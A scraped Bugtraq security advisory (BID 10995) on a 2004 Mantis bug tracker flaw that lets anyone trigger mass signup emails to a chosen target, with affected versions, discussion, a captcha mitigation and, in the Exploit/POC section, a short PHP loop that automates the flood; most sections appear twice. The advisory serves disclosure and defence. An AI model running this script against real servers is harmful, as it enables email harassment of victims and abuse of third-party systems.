Mantis New Account Signup Mass Emailing Vulnerability
BID:10995
Info
Mantis New Account Signup Mass Emailing Vulnerability
| Bugtraq ID: | 10995 |
| Class: | Design Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 21 2004 12:00AM |
| Updated: | Aug 21 2004 12:00AM |
| Credit: | Jose Antonio <[email protected]> disclosed this vulnerability. |
| Vulnerable: |
Mantis Mantis 0.19 .0a Mantis Mantis 0.18 a1 Mantis Mantis 0.18 0rc1 Mantis Mantis 0.18 0a4 Mantis Mantis 0.18 0a3 Mantis Mantis 0.18 0a2 Mantis Mantis 0.18 Mantis Mantis 0.17.5 Mantis Mantis 0.17.5 Mantis Mantis 0.17.4 a Mantis Mantis 0.17.4 a Mantis Mantis 0.17.4 Mantis Mantis 0.17.4 Mantis Mantis 0.17.3 Mantis Mantis 0.17.3 Mantis Mantis 0.17.2 Mantis Mantis 0.17.2 Mantis Mantis 0.17.1 Mantis Mantis 0.17.1 Mantis Mantis 0.17 .0 Mantis Mantis 0.17 Mantis Mantis 0.16.1 Mantis Mantis 0.16.1 Mantis Mantis 0.16 .0 Mantis Mantis 0.16 Mantis Mantis 0.15.12 Mantis Mantis 0.15.12 Mantis Mantis 0.15.11 Mantis Mantis 0.15.11 Mantis Mantis 0.15.10 Mantis Mantis 0.15.9 Mantis Mantis 0.15.9 Mantis Mantis 0.15.8 Mantis Mantis 0.15.8 Mantis Mantis 0.15.7 Mantis Mantis 0.15.7 Mantis Mantis 0.15.6 Mantis Mantis 0.15.6 Mantis Mantis 0.15.5 Mantis Mantis 0.15.5 Mantis Mantis 0.15.4 Mantis Mantis 0.15.4 Mantis Mantis 0.15.3 Mantis Mantis 0.15.3 Mantis Mantis 0.15.2 Mantis Mantis 0.15.1 Mantis Mantis 0.15 Mantis Mantis 0.14.8 Mantis Mantis 0.14.7 Mantis Mantis 0.14.6 Mantis Mantis 0.14.5 Mantis Mantis 0.14.4 Mantis Mantis 0.14.3 Mantis Mantis 0.14.2 Mantis Mantis 0.14.1 Mantis Mantis 0.14 Mantis Mantis 0.13.1 Mantis Mantis 0.13 Mantis Mantis 0.12 Mantis Mantis 0.11.1 Mantis Mantis 0.11 Mantis Mantis 0.10.2 Mantis Mantis 0.10.1 Mantis Mantis 0.10 Mantis Mantis 0.9.1 Mantis Mantis 0.9 |
| Not Vulnerable: | |
Discussion
Mantis New Account Signup Mass Emailing Vulnerability
Mantis is reportedly susceptible to a vulnerability in its signup process allowing mass email attacks.
When a new user signs up to Mantis, the system automatically sends an email message to the given email address. This email contains the users new password for the affected Mantis bug tracking system.
Mantis fails to ensure that only one account exists with the specified email address, and therefor an attacker can create a massive amount of email, directed at any target they wish. This email will originate from the Mantis server, and not the attacker.
The vendor has implemented a captcha system for new account signup requests in the CVS version of the software. All currently released versions of the software are reported vulnerable.
Mantis is reportedly susceptible to a vulnerability in its signup process allowing mass email attacks.
When a new user signs up to Mantis, the system automatically sends an email message to the given email address. This email contains the users new password for the affected Mantis bug tracking system.
Mantis fails to ensure that only one account exists with the specified email address, and therefor an attacker can create a massive amount of email, directed at any target they wish. This email will originate from the Mantis server, and not the attacker.
The vendor has implemented a captcha system for new account signup requests in the CVS version of the software. All currently released versions of the software are reported vulnerable.
Exploit / POC
Mantis New Account Signup Mass Emailing Vulnerability
An exploit is not required. An example script capable of exploiting this vulerability was provided:
<?php
//Please, change it becuase is my e-mail :)
$email = "anyemail@address";
$base_user = "test";
$i = 0;
$site = "http://www.example.com";
for ($i=0;$i<=15;$i++)
{
echo("Sending e-mail number $i\n");
$user = "$base_user$i";
echo("New user is $user\n");
$url =
"http://$site/signup.php?username=$user&email=$email";
echo("URL is $url\n");
$fd = fopen($url,"r");
echo("E-mail $i sended\n");
fclose($fd);
}
?>
An exploit is not required. An example script capable of exploiting this vulerability was provided:
<?php
//Please, change it becuase is my e-mail :)
$email = "anyemail@address";
$base_user = "test";
$i = 0;
$site = "http://www.example.com";
for ($i=0;$i<=15;$i++)
{
echo("Sending e-mail number $i\n");
$user = "$base_user$i";
echo("New user is $user\n");
$url =
"http://$site/signup.php?username=$user&email=$email";
echo("URL is $url\n");
$fd = fopen($url,"r");
echo("E-mail $i sended\n");
fclose($fd);
}
?>
Solution / Fix
Mantis New Account Signup Mass Emailing Vulnerability
Solution:
The vendor has reportedly implemented a captcha system for new account signup requests that may mitigate the possibility of an automated exploit of this vulnerability. At the time of this writing, no released versions of the package exist that fix this vulnerability.
Solution:
The vendor has reportedly implemented a captcha system for new account signup requests that may mitigate the possibility of an automated exploit of this vulnerability. At the time of this writing, no released versions of the package exist that fix this vulnerability.
References
Mantis New Account Signup Mass Emailing Vulnerability
References:
References:
- Mantis Homepage (Mantis)
- Multiple Vulnerabilities in Mantis Bugtracker (Jose Antonio